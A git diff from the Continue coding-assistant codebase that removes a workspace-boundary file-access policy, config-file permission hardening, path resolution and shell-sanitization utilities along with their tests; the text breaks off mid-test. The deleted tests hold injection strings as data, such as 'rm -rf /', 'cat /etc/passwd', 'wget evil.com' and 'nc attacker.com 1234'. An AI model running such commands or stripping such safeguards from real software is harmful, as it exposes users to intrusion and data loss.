extras.config.selectedModelByRole.chat, ); - const rangeDescription = `${resolvedPath.displayPath} (lines ${startLine}-${endLine})`; + const rangeDescription = `${filepath} (lines ${startLine}-${endLine})`; return [ { - name: getUriPathBasename(resolvedPath.uri), + name: getUriPathBasename(firstUriMatch), description: rangeDescription, content, uri: { type: "file", - value: resolvedPath.uri, + value: firstUriMatch, }, }, ]; diff --git a/core/tools/implementations/requestRule.ts b/core/tools/implementations/requestRule.ts index 21ee86af852..c5c312e7087 100644 --- a/core/tools/implementations/requestRule.ts +++ b/core/tools/implementations/requestRule.ts @@ -1,5 +1,4 @@ import { ToolImpl } from "."; -import { ContinueError, ContinueErrorReason } from "../../util/errors"; import { getStringArg } from "../parseArgs"; export const requestRuleImpl: ToolImpl = async (args, extras) => { @@ -9,10 +8,7 @@ export const requestRuleImpl: ToolImpl = async (args, extras) => { const rule = extras.config.rules.find((r) => r.name === name); if (!rule || !rule.sourceFile) { - throw new ContinueError( - ContinueErrorReason.RuleNotFound, - `Rule with name "${name}" not found or has no file path`, - ); + throw new Error(`Rule with name "${name}" not found or has no file path`); } return [ diff --git a/core/tools/implementations/runTerminalCommand.ts b/core/tools/implementations/runTerminalCommand.ts index 15b1dc1bffb..cccf3353b18 100644 --- a/core/tools/implementations/runTerminalCommand.ts +++ b/core/tools/implementations/runTerminalCommand.ts @@ -2,7 +2,6 @@ import iconv from "iconv-lite"; import childProcess from "node:child_process"; import os from "node:os"; import util from "node:util"; -import { ContinueError, ContinueErrorReason } from "../../util/errors"; // Automatically decode the buffer according to the platform to avoid garbled Chinese function getDecodedOutput(data: Buffer): string { if (process.platform === "win32") { @@ -338,8 +337,7 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { if (code === 0) { resolve({ stdout, stderr }); } else { - const error = new ContinueError( - ContinueErrorReason.CommandExecutionFailed, + const error = new Error( `Command failed with exit code ${code}`, ); (error as any).stderr = stderr; diff --git a/core/tools/implementations/viewSubdirectory.ts b/core/tools/implementations/viewSubdirectory.ts index c48ec0cd316..b7897aae8a4 100644 --- a/core/tools/implementations/viewSubdirectory.ts +++ b/core/tools/implementations/viewSubdirectory.ts @@ -1,33 +1,20 @@ import generateRepoMap from "../../util/generateRepoMap"; -import { resolveInputPath } from "../../util/pathResolver"; +import { resolveRelativePathInDir } from "../../util/ideUtils"; import { ToolImpl } from "."; -import { ContinueError, ContinueErrorReason } from "../../util/errors"; import { getStringArg } from "../parseArgs"; export const viewSubdirectoryImpl: ToolImpl = async (args: any, extras) => { const directory_path = getStringArg(args, "directory_path"); - const resolvedPath = await resolveInputPath(extras.ide, directory_path); + const uri = await resolveRelativePathInDir(directory_path, extras.ide); - if (!resolvedPath) { - throw new ContinueError( - ContinueErrorReason.DirectoryNotFound, - `Directory path "${directory_path}" does not exist or is not accessible.`, - ); - } - - // Check if the resolved path actually exists - const exists = await extras.ide.fileExists(resolvedPath.uri); - if (!exists) { - throw new ContinueError( - ContinueErrorReason.DirectoryNotFound, - `Directory path "${directory_path}" does not exist or is not accessible.`, - ); + if (!uri) { + throw new Error(`Directory path "${directory_path}" does not exist.`); } const repoMap = await generateRepoMap(extras.llm, extras.ide, { - dirUris: [resolvedPath.uri], + dirUris: [uri], outputRelativeUriPaths: true, includeSignatures: false, }); @@ -35,7 +22,7 @@ export const viewSubdirectoryImpl: ToolImpl = async (args: any, extras) => { return [ { name: "Repo map", - description: `Map of ${resolvedPath.displayPath}`, + description: `Map of ${directory_path}`, content: repoMap, }, ]; diff --git a/core/tools/implementations/viewSubdirectory.vitest.ts b/core/tools/implementations/viewSubdirectory.vitest.ts deleted file mode 100644 index 1bbd6243a36..00000000000 --- a/core/tools/implementations/viewSubdirectory.vitest.ts +++ /dev/null @@ -1,51 +0,0 @@ -import { describe, expect, it, vi } from "vitest"; -import { ContinueError, ContinueErrorReason } from "../../util/errors"; -import { viewSubdirectoryImpl } from "./viewSubdirectory"; - -describe("viewSubdirectoryImpl", () => { - it("should throw DirectoryNotFound when resolveInputPath returns null", async () => { - const mockExtras = { - ide: { - fileExists: vi.fn().mockResolvedValue(false), - getWorkspaceDirs: vi.fn().mockResolvedValue(["file:///workspace"]), - }, - llm: {}, - }; - - // resolveInputPath will return null when path doesn't exist - await expect( - viewSubdirectoryImpl( - { directory_path: "/non/existent/path" }, - mockExtras as any, - ), - ).rejects.toThrow(ContinueError); - }); - - it("should throw DirectoryNotFound when path exists in resolveInputPath but not on filesystem", async () => { - const mockExtras = { - ide: { - fileExists: vi.fn().mockResolvedValue(false), // Path doesn't exist - getWorkspaceDirs: vi.fn().mockResolvedValue(["file:///workspace"]), - }, - llm: {}, - }; - - // This test verifies the fix - even if resolveInputPath returns a valid object, - // we still check if the path exists and throw if it doesn't - try { - await viewSubdirectoryImpl( - { directory_path: "/some/absolute/path" }, - mockExtras as any, - ); - expect.fail("Should have thrown DirectoryNotFound error"); - } catch (error) { - expect(error).toBeInstanceOf(ContinueError); - expect((error as ContinueError).reason).toBe( - ContinueErrorReason.DirectoryNotFound, - ); - expect((error as ContinueError).message).toContain( - "does not exist or is not accessible", - ); - } - }); -}); diff --git a/core/tools/policies/fileAccess.ts b/core/tools/policies/fileAccess.ts deleted file mode 100644 index 2d6801f5438..00000000000 --- a/core/tools/policies/fileAccess.ts +++ /dev/null @@ -1,26 +0,0 @@ -import { ToolPolicy } from "@continuedev/terminal-security"; - -/** - * Evaluates file access policy based on whether the file is within workspace boundaries - * - * @param basePolicy - The base policy from tool definition or user settings - * @param isWithinWorkspace - Whether the file/directory is within workspace - * @returns The evaluated policy - more restrictive for files outside workspace - */ -export function evaluateFileAccessPolicy( - basePolicy: ToolPolicy, - isWithinWorkspace: boolean, -): ToolPolicy { - // If tool is disabled, keep it disabled - if (basePolicy === "disabled") { - return "disabled"; - } - - // Files within workspace use the base policy (typically "allowedWithoutPermission") - if (isWithinWorkspace) { - return basePolicy; - } - - // Files outside workspace always require permission for security - return "allowedWithPermission"; -} diff --git a/core/util/errors.ts b/core/util/errors.ts index 69df7c81423..4c6cfb16d32 100644 --- a/core/util/errors.ts +++ b/core/util/errors.ts @@ -47,20 +47,6 @@ export enum ContinueErrorReason { FileWriteError = "file_write_error", FileIsSecurityConcern = "file_is_security_concern", ParentDirectoryNotFound = "parent_directory_not_found", - FileTooLarge = "file_too_large", - PathResolutionFailed = "path_resolution_failed", - InvalidLineNumber = "invalid_line_number", - DirectoryNotFound = "directory_not_found", - - // Terminal/Command execution - CommandExecutionFailed = "command_execution_failed", - CommandNotAvailableInRemote = "command_not_available_in_remote", - - // Search - SearchExecutionFailed = "search_execution_failed", - - // Rules - RuleNotFound = "rule_not_found", // Other Unspecified = "unspecified", // I.e. a known error but no specific code for it diff --git a/core/util/index.test.ts b/core/util/index.test.ts index a77473c258e..fc48a49b27a 100644 --- a/core/util/index.test.ts +++ b/core/util/index.test.ts @@ -1,9 +1,9 @@ // File generated by Continue import { - copyOf, dedent, dedentAndGetCommonWhitespace, deduplicateArray, + copyOf, getMarkdownLanguageTagForFile, removeCodeBlocksAndTrim, removeQuotesAndEscapes, @@ -463,30 +463,4 @@ describe("removeCodeBlocksAndTrim", () => { const output = removeCodeBlocksAndTrim(text); expect(output).toBe(""); }); - it("should remove think blocks from text", () => { - const text = - "Okay, the user wants me to help with...Here is my actual response."; - const output = removeCodeBlocksAndTrim(text); - expect(output).toBe("Here is my actual response."); - }); - - it("should remove both code blocks and think blocks", () => { - const text = - "Let me plan this...Here's some code:\n```javascript\nconsole.log('hello');\n```\nThat should work!"; - const output = removeCodeBlocksAndTrim(text); - expect(output).toBe("Here's some code:\n\nThat should work!"); - }); - - it("should handle multiple think blocks", () => { - const text = - "First thoughtSome textSecond thoughtMore text"; - const output = removeCodeBlocksAndTrim(text); - expect(output).toBe("Some textMore text"); - }); - - it("should handle think blocks with newlines", () => { - const text = "\nMultiline\nthinking\n\nActual response"; - const output = removeCodeBlocksAndTrim(text); - expect(output).toBe("Actual response"); - }); }); diff --git a/core/util/index.ts b/core/util/index.ts index 76b319bddf0..4b3b17535a8 100644 --- a/core/util/index.ts +++ b/core/util/index.ts @@ -197,13 +197,11 @@ export function dedent(strings: TemplateStringsArray, ...values: any[]) { */ export function removeCodeBlocksAndTrim(text: string): string { const codeBlockRegex = /```[\s\S]*?```/g; - const thinkBlockRegex = /[\s\S]*?<\/think>/g; - // Remove code blocks and think blocks from the message text - let processedText = text.replace(codeBlockRegex, ""); - processedText = processedText.replace(thinkBlockRegex, ""); + // Remove code blocks from the message text + const textWithoutCodeBlocks = text.replace(codeBlockRegex, ""); - return processedText.trim(); + return textWithoutCodeBlocks.trim(); } export function splitCamelCaseAndNonAlphaNumeric(value: string) { diff --git a/core/util/pathResolver.ts b/core/util/pathResolver.ts deleted file mode 100644 index 25fe7581688..00000000000 --- a/core/util/pathResolver.ts +++ /dev/null @@ -1,84 +0,0 @@ -import { fileURLToPath, pathToFileURL } from "node:url"; -import * as path from "path"; -import untildify from "untildify"; -import { IDE } from ".."; -import { resolveRelativePathInDir } from "./ideUtils"; -import { findUriInDirs } from "./uri"; - -export interface ResolvedPath { - uri: string; - displayPath: string; - isAbsolute: boolean; - isWithinWorkspace: boolean; -} - -/** - * Checks if a URI is within any of the workspace directories - * Also verifies the file actually exists, matching the behavior of resolveRelativePathInDir - */ -async function isUriWithinWorkspace(ide: IDE, uri: string): Promise { - const workspaceDirs = await ide.getWorkspaceDirs(); - const { foundInDir } = findUriInDirs(uri, workspaceDirs); - - // Check both: within workspace path AND file exists - if (foundInDir !== null) { - return await ide.fileExists(uri); - } - - return false; -} - -export async function resolveInputPath( - ide: IDE, - inputPath: string, -): Promise { - const trimmedPath = inputPath.trim(); - - // Handle file:// URIs - if (trimmedPath.startsWith("file://")) { - const displayPath = fileURLToPath(trimmedPath); - const isWithinWorkspace = await isUriWithinWorkspace(ide, trimmedPath); - return { - uri: trimmedPath, - displayPath, - isAbsolute: true, - isWithinWorkspace, - }; - } - - // Expand tilde paths (handles ~/ and ~username/) - const expandedPath = untildify(trimmedPath); - - // Check if it's an absolute path (including Windows paths) - const isAbsolute = - path.isAbsolute(expandedPath) || - // Windows network paths - expandedPath.startsWith("\\\\") || - // Windows drive letters - /^[a-zA-Z]:/.test(expandedPath); - - if (isAbsolute) { - // Convert to file:// URI format - const uri = pathToFileURL(expandedPath).href; - const isWithinWorkspace = await isUriWithinWorkspace(ide, uri); - return { - uri, - displayPath: expandedPath, - isAbsolute: true, - isWithinWorkspace, - }; - } - - // Handle relative paths... - const workspaceUri = await resolveRelativePathInDir(expandedPath, ide); - if (workspaceUri) { - return { - uri: workspaceUri, - displayPath: expandedPath, - isAbsolute: false, - isWithinWorkspace: true, - }; - } - - return null; -} diff --git a/core/util/paths.ts b/core/util/paths.ts index 122ec2f94f6..de587cf0d17 100644 --- a/core/util/paths.ts +++ b/core/util/paths.ts @@ -14,16 +14,6 @@ import Types from "../config/types"; dotenv.config(); -export function setConfigFilePermissions(filePath: string): void { - try { - if (os.platform() !== "win32") { - fs.chmodSync(filePath, 0o600); - } - } catch (error) { - console.warn(`Failed to set permissions on ${filePath}:`, error); - } -} - const CONTINUE_GLOBAL_DIR = (() => { const configPath = process.env.CONTINUE_GLOBAL_DIR; if (configPath) { @@ -127,7 +117,6 @@ export function getConfigYamlPath(ideType?: IdeType): string { } else { fs.writeFileSync(p, YAML.stringify(defaultConfig)); } - setConfigFilePermissions(p); } return p; } @@ -266,14 +255,12 @@ function editConfigJson( } function editConfigYaml(callback: (config: ConfigYaml) => ConfigYaml): void { - const configPath = getConfigYamlPath(); - const config = fs.readFileSync(configPath, "utf8"); + const config = fs.readFileSync(getConfigYamlPath(), "utf8"); let configYaml = YAML.parse(config); // Check if it's an object if (typeof configYaml === "object" && configYaml !== null) { configYaml = callback(configYaml as any) as any; - fs.writeFileSync(configPath, YAML.stringify(configYaml)); - setConfigFilePermissions(configPath); + fs.writeFileSync(getConfigYamlPath(), YAML.stringify(configYaml)); } else { console.warn("config.yaml is not a valid object"); } diff --git a/core/util/repoUrl.ts b/core/util/repoUrl.ts deleted file mode 100644 index 4634cc142af..00000000000 --- a/core/util/repoUrl.ts +++ /dev/null @@ -1,70 +0,0 @@ -/** - * Utility functions for normalizing and handling repository URLs. - */ - -/** - * Normalizes a repository URL to a consistent format. - * - * Handles various Git URL formats and converts them to a standard HTTPS GitHub URL: - * - SSH format: `git@github.com:owner/repo.git` → `https://github.com/owner/repo` - * - SSH protocol: `ssh://git@github.com/owner/repo.git` → `https://github.com/owner/repo` - * - Shorthand: `owner/repo` → `https://github.com/owner/repo` - * - Removes `.git` suffix - * - Removes trailing slashes - * - Normalizes to lowercase - * - * @param url - The repository URL to normalize - * @returns The normalized repository URL in lowercase HTTPS format - * - * @example - * ```typescript - * normalizeRepoUrl("git@github.com:owner/repo.git") - * // Returns: "https://github.com/owner/repo" - * - * normalizeRepoUrl("owner/repo") - * // Returns: "https://github.com/owner/repo" - * - * normalizeRepoUrl("https://github.com/Owner/Repo.git") - * // Returns: "https://github.com/owner/repo" - * ``` - */ -export function normalizeRepoUrl(url: string): string { - if (!url) return ""; - - let normalized = url.trim(); - - // Convert SSH to HTTPS: git@github.com:owner/repo.git -> https://github.com/owner/repo - if (normalized.startsWith("git@github.com:")) { - normalized = normalized.replace("git@github.com:", "https://github.com/"); - } - - // Convert SSH protocol to HTTPS: ssh://git@github.com/owner/repo.git -> https://github.com/owner/repo - // Also handles: ssh://git@github.com:owner/repo.git (less common) - if (normalized.startsWith("ssh://git@github.com")) { - normalized = normalized - .replace("ssh://git@github.com/", "https://github.com/") - .replace("ssh://git@github.com:", "https://github.com/"); - } - - // Convert shorthand owner/repo to full URL - if ( - normalized.includes("/") && - !/^[a-z]+:\/\//i.test(normalized) && - !normalized.startsWith("git@") - ) { - normalized = `https://github.com/${normalized}`; - } - - // Remove trailing slash before removing .git suffix - if (normalized.endsWith("/")) { - normalized = normalized.slice(0, -1); - } - - // Remove .git suffix - if (normalized.endsWith(".git")) { - normalized = normalized.slice(0, -4); - } - - // Normalize to lowercase - return normalized.toLowerCase(); -} diff --git a/core/util/repoUrl.vitest.ts b/core/util/repoUrl.vitest.ts deleted file mode 100644 index da58cc07611..00000000000 --- a/core/util/repoUrl.vitest.ts +++ /dev/null @@ -1,217 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { normalizeRepoUrl } from "./repoUrl"; - -describe("normalizeRepoUrl", () => { - describe("SSH format conversion", () => { - it("should convert SSH format to HTTPS", () => { - expect(normalizeRepoUrl("git@github.com:owner/repo.git")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should convert SSH format without .git suffix", () => { - expect(normalizeRepoUrl("git@github.com:owner/repo")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should convert SSH format with uppercase to lowercase", () => { - expect(normalizeRepoUrl("git@github.com:Owner/Repo.git")).toBe( - "https://github.com/owner/repo", - ); - }); - }); - - describe("SSH protocol conversion", () => { - it("should convert ssh:// protocol with slash separator", () => { - expect(normalizeRepoUrl("ssh://git@github.com/owner/repo.git")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should convert ssh:// protocol with colon separator (less common)", () => { - expect(normalizeRepoUrl("ssh://git@github.com:owner/repo.git")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should convert ssh:// protocol without .git suffix", () => { - expect(normalizeRepoUrl("ssh://git@github.com/owner/repo")).toBe( - "https://github.com/owner/repo", - ); - }); - }); - - describe("shorthand format conversion", () => { - it("should convert owner/repo to full HTTPS URL", () => { - expect(normalizeRepoUrl("owner/repo")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should convert shorthand with uppercase to lowercase", () => { - expect(normalizeRepoUrl("Owner/Repo")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should handle shorthand with hyphens and underscores", () => { - expect(normalizeRepoUrl("owner-name/repo_name")).toBe( - "https://github.com/owner-name/repo_name", - ); - }); - }); - - describe(".git suffix removal", () => { - it("should remove .git suffix from HTTPS URLs", () => { - expect(normalizeRepoUrl("https://github.com/owner/repo.git")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should handle multiple transformations with .git removal", () => { - expect(normalizeRepoUrl("git@github.com:owner/repo.git")).toBe( - "https://github.com/owner/repo", - ); - }); - }); - - describe("trailing slash removal", () => { - it("should remove trailing slash from URLs", () => { - expect(normalizeRepoUrl("https://github.com/owner/repo/")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should handle both .git and trailing slash", () => { - expect(normalizeRepoUrl("https://github.com/owner/repo.git/")).toBe( - "https://github.com/owner/repo", - ); - }); - }); - - describe("case normalization", () => { - it("should convert mixed case HTTPS URLs to lowercase", () => { - expect(normalizeRepoUrl("https://github.com/Owner/Repo")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should convert all uppercase to lowercase", () => { - expect(normalizeRepoUrl("HTTPS://GITHUB.COM/OWNER/REPO")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should handle mixed case in shorthand format", () => { - expect(normalizeRepoUrl("ContinueDev/Continue")).toBe( - "https://github.com/continuedev/continue", - ); - }); - }); - - describe("already normalized URLs", () => { - it("should handle already normalized HTTPS URLs", () => { - expect(normalizeRepoUrl("https://github.com/owner/repo")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should only lowercase already normalized URLs", () => { - expect(normalizeRepoUrl("https://github.com/Owner/Repo")).toBe( - "https://github.com/owner/repo", - ); - }); - }); - - describe("edge cases", () => { - it("should return empty string for empty input", () => { - expect(normalizeRepoUrl("")).toBe(""); - }); - - it("should handle whitespace-only input", () => { - expect(normalizeRepoUrl(" ")).toBe(""); - }); - - it("should trim whitespace from input", () => { - expect(normalizeRepoUrl(" owner/repo ")).toBe( - "https://github.com/owner/repo", - ); - }); - - it("should not modify non-GitHub git URLs", () => { - // This function is GitHub-specific, other URLs just get lowercased - expect(normalizeRepoUrl("https://gitlab.com/owner/repo")).toBe( - "https://gitlab.com/owner/repo", - ); - }); - - it("should not convert non-GitHub SSH URLs to GitHub", () => { - // Regression test: SSH URLs with protocols should not be treated as shorthands - expect(normalizeRepoUrl("ssh://git@gitlab.com/owner/repo.git")).toBe( - "ssh://git@gitlab.com/owner/repo", - ); - }); - - it("should handle URLs with port numbers", () => { - expect(normalizeRepoUrl("https://github.com:443/owner/repo")).toBe( - "https://github.com:443/owner/repo", - ); - }); - - it("should handle complex repository names", () => { - expect(normalizeRepoUrl("owner/repo-with-dashes-123")).toBe( - "https://github.com/owner/repo-with-dashes-123", - ); - }); - - it("should normalize shorthand with query parameters containing ://", () => { - // Regression test: :// in query params should not prevent normalization - expect(normalizeRepoUrl("owner/repo?redirect=https://example.com")).toBe( - "https://github.com/owner/repo?redirect=https://example.com", - ); - }); - - it("should normalize shorthand with fragment containing ://", () => { - expect(normalizeRepoUrl("owner/repo#section=https://example.com")).toBe( - "https://github.com/owner/repo#section=https://example.com", - ); - }); - }); - - describe("real-world examples", () => { - it("should normalize Continue's repository from SSH", () => { - expect(normalizeRepoUrl("git@github.com:continuedev/continue.git")).toBe( - "https://github.com/continuedev/continue", - ); - }); - - it("should normalize Continue's repository from shorthand", () => { - expect(normalizeRepoUrl("continuedev/continue")).toBe( - "https://github.com/continuedev/continue", - ); - }); - - it("should normalize Continue's repository from HTTPS", () => { - expect( - normalizeRepoUrl("https://github.com/continuedev/continue.git"), - ).toBe("https://github.com/continuedev/continue"); - }); - - it("should match repositories regardless of input format", () => { - const formats = [ - "git@github.com:continuedev/continue.git", - "continuedev/continue", - "https://github.com/continuedev/continue", - "https://github.com/continuedev/continue.git", - "ssh://git@github.com/continuedev/continue.git", - "ContinueDev/Continue", - ]; - - const expected = "https://github.com/continuedev/continue"; - formats.forEach((format) => { - expect(normalizeRepoUrl(format)).toBe(expected); - }); - }); - }); -}); diff --git a/core/util/sanitization.ts b/core/util/sanitization.ts deleted file mode 100644 index da17df8c339..00000000000 --- a/core/util/sanitization.ts +++ /dev/null @@ -1,72 +0,0 @@ -import { quote } from "shell-quote"; - -/** - * Sanitization utilities for preventing injection attacks. - * These utilities address specific security vulnerabilities identified in code review. - */ - -/** - * Sanitizes a string for safe use in shell commands by escaping special characters. - * Uses the battle-tested `shell-quote` library. - * - * @param arg - The argument to sanitize for shell execution - * @returns A safely escaped string suitable for shell commands - * - * @example - * ```typescript - * const command = `git stash push -m ${sanitizeShellArgument(message)}`; - * ``` - * - * Protects against: - * - Command injection (`;`, `&&`, `||`, `|`) - * - Command substitution (`$()`, backticks) - * - Variable expansion (`$VAR`) - */ -export function sanitizeShellArgument(arg: string): string { - const result = quote([arg]); - return typeof result === "string" ? result : arg; -} - -/** - * Validates that a repository name/URL doesn't contain malicious patterns. - * Rejects dangerous patterns but doesn't validate full URL structure. - * - * @param repoName - The repository name or URL to validate - * @returns true if safe, false if contains dangerous patterns - * - * @example - * ```typescript - * validateGitHubRepoUrl("owner/repo"); // true - * validateGitHubRepoUrl("owner/repo; rm -rf /"); // false - * ``` - * - * Protects against: - * - Path traversal (`../`) - * - Command injection (`;`, `&&`, `||`) - * - Shell metacharacters (backticks, `$`, `|`) - */ -export function validateGitHubRepoUrl(repoName: string): boolean { - if (!repoName || typeof repoName !== "string") { - return false; - } - - const trimmed = repoName.trim(); - - // Reject empty or whitespace-only strings - if (trimmed.length === 0) { - return false; - } - - // Reject path traversal - if (trimmed.includes("..")) { - return false; - } - - // Reject shell metacharacters that could enable injection - const dangerousChars = [";", "&", "|", "$", "`", "\n", "\r", "<", ">"]; - if (dangerousChars.some((char) => trimmed.includes(char))) { - return false; - } - - return true; -} diff --git a/core/util/sanitization.vitest.ts b/core/util/sanitization.vitest.ts deleted file mode 100644 index f048c72c601..00000000000 --- a/core/util/sanitization.vitest.ts +++ /dev/null @@ -1,362 +0,0 @@ -import { execSync } from "child_process"; -import { describe, expect, it } from "vitest"; -import { normalizeRepoUrl } from "./repoUrl"; -import { sanitizeShellArgument, validateGitHubRepoUrl } from "./sanitization"; - -describe("sanitizeShellArgument", () => { - it("should escape shell metacharacters", () => { - const dangerous = [ - "; rm -rf /", - "&& cat /etc/passwd", - "|| wget evil.com", - "| nc attacker.com 1234", - "`whoami`", - "$(whoami)", - "$HOME/evil", - ]; - - dangerous.forEach((input) => { - const result = sanitizeShellArgument(input); - expect(result).toBeDefined(); - expect(typeof result).toBe("string"); - // shell-quote should properly escape these - expect(result).not.toBe(input); - }); - }); - - it("should handle safe strings", () => { - const safe = ["agent-123", "my-agent", "simple-message"]; - safe.forEach((input) => { - const result = sanitizeShellArgument(input); - expect(result).toBeDefined(); - expect(typeof result).toBe("string"); - }); - }); - - it("should handle special characters", () => { - const result = sanitizeShellArgument("agent with spaces"); - expect(result).toBeDefined(); - expect(typeof result).toBe("string"); - }); - - it("should handle empty string", () => { - const result = sanitizeShellArgument(""); - expect(result).toBeDefined(); - }); -}); - -describe("validateGitHubRepoUrl", () => { - it("should accept valid repository names", () => { - expect(validateGitHubRepoUrl("continuedev/continue")).toBe(true); - expect(validateGitHubRepoUrl("owner/repo")).toBe(true); - expect(validateGitHubRepoUrl("owner-name/repo-name")).toBe(true); - expect(validateGitHubRepoUrl("https://github.com/owner/repo")).toBe(true); - expect(validateGitHubRepoUrl("git@github.com:owner/repo.git")).toBe(true); - }); - - it("should reject path traversal", () => { - expect(validateGitHubRepoUrl("../../../etc/passwd")).toBe(false); - expect(validateGitHubRepoUrl("owner/../evil")).toBe(false); - }); - - it("should reject command injection attempts", () => { - expect(validateGitHubRepoUrl("owner/repo; rm -rf /")).toBe(false); - expect(validateGitHubRepoUrl("owner/repo && cat /etc/passwd")).toBe(false); - expect(validateGitHubRepoUrl("owner/repo || wget evil.com")).toBe(false); - expect(validateGitHubRepoUrl("owner/repo | nc attacker")).toBe(false); - }); - - it("should reject shell metacharacters", () => { - expect(validateGitHubRepoUrl("owner/$(whoami)")).toBe(false); - expect(validateGitHubRepoUrl("owner/`whoami`")).toBe(false); - expect(validateGitHubRepoUrl("$EVIL/repo")).toBe(false); - }); - - it("should reject shell redirection", () => { - expect(validateGitHubRepoUrl("owner/repo > /dev/null")).toBe(false); - expect(validateGitHubRepoUrl("owner/repo < /etc/passwd")).toBe(false); - }); - - it("should reject newlines", () => { - expect(validateGitHubRepoUrl("owner/repo\nrm -rf /")).toBe(false); - expect(validateGitHubRepoUrl("owner/repo\rrm -rf /")).toBe(false); - }); - - it("should reject empty or invalid input", () => { - expect(validateGitHubRepoUrl("")).toBe(false); - expect(validateGitHubRepoUrl(" ")).toBe(false); - expect(validateGitHubRepoUrl(null as any)).toBe(false); - expect(validateGitHubRepoUrl(undefined as any)).toBe(false); - }); - - describe("validation after normalization", () => { - it("should validate normalized URLs to prevent bypass", () => { - // Test that validation works on normalized output - const inputs = [ - "owner/repo", - "git@github.com:owner/repo.git", - "https://github.com/owner/repo.git", - "ssh://git@github.com/owner/repo.git", - ]; - - inputs.forEach((input) => { - const normalized = normalizeRepoUrl(input); - expect(validateGitHubRepoUrl(normalized)).toBe(true); - }); - }); - - it("should catch dangerous URLs even after normalization", () => { - // These should still be dangerous after normalization - const dangerous = [ - "owner/repo; rm -rf /", - "owner/repo && malicious", - "owner/repo | cat /etc/passwd", - ]; - - dangerous.forEach((input) => { - // Should be blocked before normalization - expect(validateGitHubRepoUrl(input)).toBe(false); - - // Even if somehow normalized, should still be invalid - const normalized = normalizeRepoUrl(input); - expect(validateGitHubRepoUrl(normalized)).toBe(false); - }); - }); - - it("should handle edge cases where normalization changes URL structure", () => { - // Test URLs that change during normalization - const testCases = [ - { - input: "Owner/Repo.git/", - normalized: "https://github.com/owner/repo", - shouldBeValid: true, - }, - { - input: "git@github.com:owner/repo.git", - normalized: "https://github.com/owner/repo", - shouldBeValid: true, - }, - ]; - - testCases.forEach(({ input, normalized, shouldBeValid }) => { - const actualNormalized = normalizeRepoUrl(input); - expect(actualNormalized).toBe(normalized); - expect(validateGitHubRepoUrl(actualNormalized)).toBe(shouldBeValid); - }); - }); - - it("should prevent validation bypass via URL encoding or special chars", () => { - // These tests ensure that validation happens AFTER normalization - // preventing attackers from bypassing validation via encoding or transformation - - // Currently validateGitHubRepoUrl blocks these, but this test ensures - // the pattern of "normalize then validate" is maintained - const potentialBypass = [ - "../../../etc/passwd", - "owner/../malicious", - "owner/repo`whoami`", - "owner/repo$(whoami)", - ]; - - potentialBypass.forEach((input) => { - expect(validateGitHubRepoUrl(input)).toBe(false); - }); - }); - }); -}); - -/** - * Integration tests for sanitizeShellArgument - * - * These tests actually execute shell commands with sanitized dangerous inputs - * to verify end-to-end that the sanitization prevents injection attacks. - * - * IMPORTANT: These are CRITICAL security tests. The unit tests above verify - * that sanitization transforms inputs, but only these integration tests prove - * that the transformed output is safe when executed in a real shell. - */ -describe("sanitizeShellArgument - integration tests", () => { - // Helper function to safely execute a command with a timeout - const safeExec = (command: string): string => { - try { - return execSync(command, { - encoding: "utf-8", - timeout: 5000, // 5 second timeout to prevent hanging - shell: "/bin/sh", // Use standard POSIX shell - }).trim(); - } catch (error: any) { - // If command fails (non-zero exit), return the error output - return error.stdout?.trim() || ""; - } - }; - - it("should prevent command injection with semicolon separator", () => { - const malicious = "; echo INJECTED"; - const sanitized = sanitizeShellArgument(malicious); - - // Execute echo command with the sanitized input - const result = safeExec(`echo ${sanitized}`); - - // The output should be the literal string, not execute "echo INJECTED" - expect(result).toBe(malicious); - expect(result).not.toBe("INJECTED"); - }); - - it("should prevent command injection with && operator", () => { - const malicious = "safe && echo INJECTED"; - const sanitized = sanitizeShellArgument(malicious); - - const result = safeExec(`echo ${sanitized}`); - - // Should output the literal string, not execute the injected command - // The string "INJECTED" will appear, but as part of "echo INJECTED" literal text - expect(result).toBe(malicious); - expect(result).toContain("echo INJECTED"); // Verify it's the literal command text - }); - - it("should prevent command injection with || operator", () => { - const malicious = "safe || echo INJECTED"; - const sanitized = sanitizeShellArgument(malicious); - - const result = safeExec(`echo ${sanitized}`); - - // Should output the literal string, not execute the injected command - expect(result).toBe(malicious); - expect(result).toContain("echo INJECTED"); // Verify it's the literal command text - }); - - it("should prevent command injection with pipe operator", () => { - const malicious = "safe | echo INJECTED"; - const sanitized = sanitizeShellArgument(malicious); - - const result = safeExec(`echo ${sanitized}`); - - expect(result).toBe(malicious); - }); - - it("should prevent command substitution with $()", () => { - const malicious = "$(echo INJECTED)"; - const sanitized = sanitizeShellArgument(malicious); - - const result = safeExec(`echo ${sanitized}`); - - // Should output the literal string "$(echo INJECTED)", not "INJECTED" - expect(result).toBe(malicious); - expect(result).not.toBe("INJECTED"); - }); - - it("should prevent command substitution with backticks", () => { - const malicious = "`echo INJECTED`"; - const sanitized = sanitizeShellArgument(malicious); - - const result = safeExec(`echo ${sanitized}`); - - // Should output the literal backtick string, not execute it - expect(result).toBe(malicious); - expect(result).not.toBe("INJECTED"); - }); - - it("should prevent variable expansion", () => { - // Set an environment variable for this test - process.env.TEST_VAR = "EXPANDED"; - - const malicious = "$TEST_VAR"; - const sanitized = sanitizeShellArgument(malicious); - - const result = safeExec(`echo ${sanitized}`); - - // Should output literal "$TEST_VAR", not "EXPANDED" - expect(result).toBe(malicious); - expect(result).not.toBe("EXPANDED"); - - // Cleanup - delete process.env.TEST_VAR; - }); - - it("should handle git stash message use case safely", () => { - // This mirrors the actual usage in VsCodeMessenger.ts:269 - const agentId = "agent-123; rm -rf /"; - const stashMessage = `Continue: Stashed before opening agent ${agentId}`; - const sanitized = sanitizeShellArgument(stashMessage); - - // Simulate the git stash command (using echo as a safe substitute) - // In real code: `git stash push -m ${sanitized}` - const result = safeExec(`echo ${sanitized}`); - - // The message should contain the full literal string including dangerous chars - expect(result).toContain("agent-123; rm -rf /"); - expect(result).toContain("Continue: Stashed before opening 